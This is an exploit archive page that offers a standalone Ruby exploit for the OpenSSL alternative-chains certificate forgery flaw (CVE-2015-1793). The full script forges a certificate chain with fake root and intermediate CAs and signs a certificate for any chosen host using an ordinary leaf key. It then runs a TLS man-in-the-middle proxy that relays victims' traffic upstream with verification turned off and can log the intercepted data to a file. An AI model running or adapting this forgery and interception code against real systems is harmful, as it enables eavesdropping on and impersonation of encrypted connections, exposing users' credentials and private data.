Exploit the possiblities

OpenSSL Alternative Chains Certificate Forgery

OpenSSL Alternative Chains Certificate Forgery
Posted Nov 6, 2015
Authored by Ramon de C Valle

OpenSSL alternative chains certificate forgery exploit that has been tested on OpenSSL 1.0.2c, 1.0.2b, 1.0.1o, 1.0.1n, and Fedora 22 (1.0.1k-fips). This is a stand-alone ruby exploit and does not require Metasploit.

tags | exploit, ruby
systems | linux, fedora
advisories | CVE-2015-1793
MD5 | cbe7f7b97e5ea083dd73abc376c891d6

OpenSSL Alternative Chains Certificate Forgery

Change Mirror Download
#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)

0.upto(15) do |j|
stream.printf(' ') if j == 8

if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end

stream.printf(' ')

0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end

stream.printf("\n")
end
end
end

options = {}

OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert"

parser.separator('')
parser.separator('Options:')

parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end

parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end

parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end

parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end

parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end

parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end

parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end

parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase|
options[:pass_phrase] = pass_phrase
end

parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject|
options[:subject] = subject
end

parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false
cacert = ARGV[1] or fail ArgumentError, 'no cacert given'
key = ARGV[2] or fail ArgumentError, 'no key given'
pass_phrase = options[:pass_phrase] || nil
cert = ARGV[3] or fail ArgumentError, 'no cert given'
subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"

root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)
leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))

fake_name = OpenSSL::X509::Name.parse(subject)
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key

tcp_server = TCPServer.new(local_host, local_port)
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)

puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE

tcp_socket = TCPSocket.new(host, port)
server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
server.connect

puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

loop do
readable, = IO.select([client, server])

readable.each do |r|
data = r.readpartial(4096)
data.hexdump($stderr) if debug
puts '%d bytes received' % [data.bytesize] if debug || verbose

if file
file.write(data)
file.flush
file.fsync
end

case r
when client
count = server.write(data)
server.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

when server
count = client.write(data)
client.flush
data.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end

client.close
server.close
end
end

proxy.close

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    15 Files
  • 22
    Nov 22nd
    23 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close